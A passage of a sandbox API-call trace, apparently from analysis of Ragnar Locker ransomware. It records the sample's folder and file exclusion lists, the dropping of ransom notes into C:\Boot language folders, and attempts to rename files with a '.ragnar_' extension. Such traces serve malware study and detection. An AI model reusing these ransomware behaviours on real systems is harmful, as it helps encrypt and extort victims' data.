ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0047.818] lstrcmpiW (lpString1="zh-CN", lpString2=".") returned 1 [0047.818] lstrcmpiW (lpString1="zh-CN", lpString2="..") returned 1 [0047.818] lstrcmpiW (lpString1="zh-CN", lpString2="Windows") returned 1 [0047.818] lstrcmpiW (lpString1="zh-CN", lpString2="Windows.old") returned 1 [0047.818] lstrcmpiW (lpString1="zh-CN", lpString2="Tor browser") returned 1 [0047.818] lstrcmpiW (lpString1="zh-CN", lpString2="Internet Explorer") returned 1 [0047.818] lstrcmpiW (lpString1="zh-CN", lpString2="Google") returned 1 [0047.818] lstrcmpiW (lpString1="zh-CN", lpString2="Opera") returned 1 [0047.818] lstrcmpiW (lpString1="zh-CN", lpString2="Opera Software") returned 1 [0047.818] lstrcmpiW (lpString1="zh-CN", lpString2="Mozilla") returned 1 [0047.819] lstrcmpiW (lpString1="zh-CN", lpString2="Mozilla Firefox") returned 1 [0047.819] lstrcmpiW (lpString1="zh-CN", lpString2="$Recycle.Bin") returned 1 [0047.819] lstrcmpiW (lpString1="zh-CN", lpString2="ProgramData") returned 1 [0047.819] lstrcmpiW (lpString1="zh-CN", lpString2="All Users") returned 1 [0047.819] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\*.*", nBufferLength=0x104, lpBuffer=0x1ed648, lpFilePart=0x1edaf4 | out: lpBuffer="\\\\?\\C:\\Boot\\*.*", lpFilePart=0x1edaf4*="*.*") returned 0xf [0047.819] lstrcpyW (in: lpString1=0x1ed660, lpString2="zh-CN" | out: lpString1="zh-CN") returned="zh-CN" [0047.819] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\zh-CN", lpString2="\\" | out: lpString1="\\\\?\\C:\\Boot\\zh-CN\\") returned="\\\\?\\C:\\Boot\\zh-CN\\" [0047.819] lstrcpyW (in: lpString1=0x1ed43c, lpString2="\\\\?\\C:\\Boot\\zh-CN\\" | out: lpString1="\\\\?\\C:\\Boot\\zh-CN\\") returned="\\\\?\\C:\\Boot\\zh-CN\\" [0047.819] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\zh-CN\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Boot\\zh-CN\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Boot\\zh-CN\\RGNR_FD7BD9FC.txt" [0047.819] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Boot\\zh-CN\\RGNR_FD7BD9FC.txt" (normalized: "c:\\boot\\zh-cn\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0047.821] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\zh-CN\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Boot\\zh-CN\\*.*") returned="\\\\?\\C:\\Boot\\zh-CN\\*.*" [0047.821] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\zh-CN\\*.*", nBufferLength=0x104, lpBuffer=0x1ec75c, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Boot\\zh-CN\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x15 [0047.821] lstrcpyW (in: lpString1=0x1ec554, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0047.821] lstrcpyW (in: lpString1=0x1ec780, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0047.821] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-CN\\*.*", lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6ebdf4a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6ebdf4a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a12a8 [0047.821] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0047.821] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6ebdf4a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6ebdf4a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.821] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0047.821] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0047.821] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.821] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0047.821] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0047.821] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebdf4a0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6ebdf4a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0047.821] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0047.821] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0047.821] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebdf4a0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6ebdf4a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0047.821] FindClose (in: hFindFile=0x5a12a8 | out: hFindFile=0x5a12a8) returned 1 [0047.821] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-CN\\*.*", lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6ebdf4a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6ebdf4a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a12a8 [0047.821] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6ebdf4a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6ebdf4a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.822] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.822] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\zh-CN\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Boot\\zh-CN\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x15 [0047.822] lstrcpyW (in: lpString1=0x1ecb94, lpString2="bootmgr.exe.mui" | out: lpString1="bootmgr.exe.mui") returned="bootmgr.exe.mui" [0047.822] PathFindExtensionW (pszPath="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui") returned=".mui" [0047.822] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0047.822] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="autorun.inf") returned 1 [0047.822] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0047.822] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootfont.bin") returned 1 [0047.822] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootsect.bak") returned -1 [0047.822] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgr") returned 1 [0047.822] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgr.efi") returned 1 [0047.822] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgfw.efi") returned 1 [0047.822] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="desktop.ini") returned -1 [0047.822] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="iconcache.db") returned -1 [0047.822] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntldr") returned -1 [0047.822] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat") returned -1 [0047.822] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat.log") returned -1 [0047.822] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.ini") returned -1 [0047.822] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="thumbs.db") returned -1 [0047.822] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0047.822] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0047.822] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0047.822] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0047.822] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0047.822] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0047.822] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0047.822] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui")) returned 0x20 [0047.823] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0047.823] CloseHandle (hObject=0xffffffff) returned 0 [0047.823] lstrcpyW (in: lpString1=0x1ec090, lpString2="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui" | out: lpString1="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui") returned="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui" [0047.823] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui.ragnar_FD7BD9FC" [0047.823] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), lpNewFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui.ragnar_FD7BD9FC" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0047.824] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebdf4a0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6ebdf4a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0047.824] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\zh-CN\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Boot\\zh-CN\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x15 [0047.824] lstrcpyW (in: lpString1=0x1ecb94, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0047.824] PathFindExtensionW (pszPath="\\\\?\\C:\\Boot\\zh-CN\\RGNR_FD7BD9FC.txt") returned=".txt" [0047.824] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0047.824] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebdf4a0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6ebdf4a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0047.824] FindClose (in: hFindFile=0x5a12a8 | out: hFindFile=0x5a12a8) returned 1 [0047.824] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0047.824] lstrcmpiW (lpString1="zh-HK", lpString2=".") returned 1 [0047.824] lstrcmpiW (lpString1="zh-HK", lpString2="..") returned 1 [0047.824] lstrcmpiW (lpString1="zh-HK", lpString2="Windows") returned 1 [0047.824] lstrcmpiW (lpString1="zh-HK", lpString2="Windows.old") returned 1 [0047.824] lstrcmpiW (lpString1="zh-HK", lpString2="Tor browser") returned 1 [0047.824] lstrcmpiW (lpString1="zh-HK", lpString2="Internet Explorer") returned 1 [0047.824] lstrcmpiW (lpString1="zh-HK", lpString2="Google") returned 1 [0047.824] lstrcmpiW (lpString1="zh-HK", lpString2="Opera") returned 1 [0047.824] lstrcmpiW (lpString1="zh-HK", lpString2="Opera Software") returned 1 [0047.824] lstrcmpiW (lpString1="zh-HK", lpString2="Mozilla") returned 1 [0047.824] lstrcmpiW (lpString1="zh-HK", lpString2="Mozilla Firefox") returned 1 [0047.824] lstrcmpiW (lpString1="zh-HK", lpString2="$Recycle.Bin") returned 1 [0047.824] lstrcmpiW (lpString1="zh-HK", lpString2="ProgramData") returned 1 [0047.824] lstrcmpiW (lpString1="zh-HK", lpString2="All Users") returned 1 [0047.824] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\*.*", nBufferLength=0x104, lpBuffer=0x1ed648, lpFilePart=0x1edaf4 | out: lpBuffer="\\\\?\\C:\\Boot\\*.*", lpFilePart=0x1edaf4*="*.*") returned 0xf [0047.824] lstrcpyW (in: lpString1=0x1ed660, lpString2="zh-HK" | out: lpString1="zh-HK") returned="zh-HK" [0047.824] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\zh-HK", lpString2="\\" | out: lpString1="\\\\?\\C:\\Boot\\zh-HK\\") returned="\\\\?\\C:\\Boot\\zh-HK\\" [0047.824] lstrcpyW (in: lpString1=0x1ed43c, lpString2="\\\\?\\C:\\Boot\\zh-HK\\" | out: lpString1="\\\\?\\C:\\Boot\\zh-HK\\") returned="\\\\?\\C:\\Boot\\zh-HK\\" [0047.824] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\zh-HK\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Boot\\zh-HK\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Boot\\zh-HK\\RGNR_FD7BD9FC.txt" [0047.824] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Boot\\zh-HK\\RGNR_FD7BD9FC.txt" (normalized: "c:\\boot\\zh-hk\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0047.826] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\zh-HK\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Boot\\zh-HK\\*.*") returned="\\\\?\\C:\\Boot\\zh-HK\\*.*" [0047.826] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\zh-HK\\*.*", nBufferLength=0x104, lpBuffer=0x1ec75c, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Boot\\zh-HK\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x15 [0047.826] lstrcpyW (in: lpString1=0x1ec554, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0047.826] lstrcpyW (in: lpString1=0x1ec780, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0047.826] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-HK\\*.*", lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6ec05600, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6ec05600, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a12a8 [0047.827] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0047.827] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6ec05600, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6ec05600, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.827] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0047.827] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0047.827] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.827] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0047.827] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0047.827] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec05600, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6ec05600, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0047.827] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0047.827] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0047.827] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec05600, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6ec05600, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0047.827] FindClose (in: hFindFile=0x5a12a8 | out: hFindFile=0x5a12a8) returned 1 [0047.827] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-HK\\*.*", lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6ec05600, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6ec05600, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a12a8 [0047.827] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6ec05600, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6ec05600, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.827] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.827] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\zh-HK\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Boot\\zh-HK\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x15 [0047.827] lstrcpyW (in: lpString1=0x1ecb94, lpString2="bootmgr.exe.mui" | out: lpString1="bootmgr.exe.mui") returned="bootmgr.exe.mui" [0047.827] PathFindExtensionW (pszPath="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui") returned=".mui" [0047.827] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0047.827] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="autorun.inf") returned 1 [0047.827] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0047.827] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootfont.bin") returned 1 [0047.827] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootsect.bak") returned -1 [0047.827] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgr") returned 1 [0047.827] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgr.efi") returned 1 [0047.827] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgfw.efi") returned 1 [0047.827] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="desktop.ini") returned -1 [0047.827] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="iconcache.db") returned -1 [0047.828] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntldr") returned -1 [0047.828] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat") returned -1 [0047.828] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat.log") returned -1 [0047.828] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.ini") returned -1 [0047.828] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="thumbs.db") returned -1 [0047.828] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0047.828] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0047.828] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0047.828] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0047.828] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0047.828] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0047.828] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0047.828] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui")) returned 0x20 [0047.828] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0047.828] CloseHandle (hObject=0xffffffff) returned 0 [0047.828] lstrcpyW (in: lpString1=0x1ec090, lpString2="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui" | out: 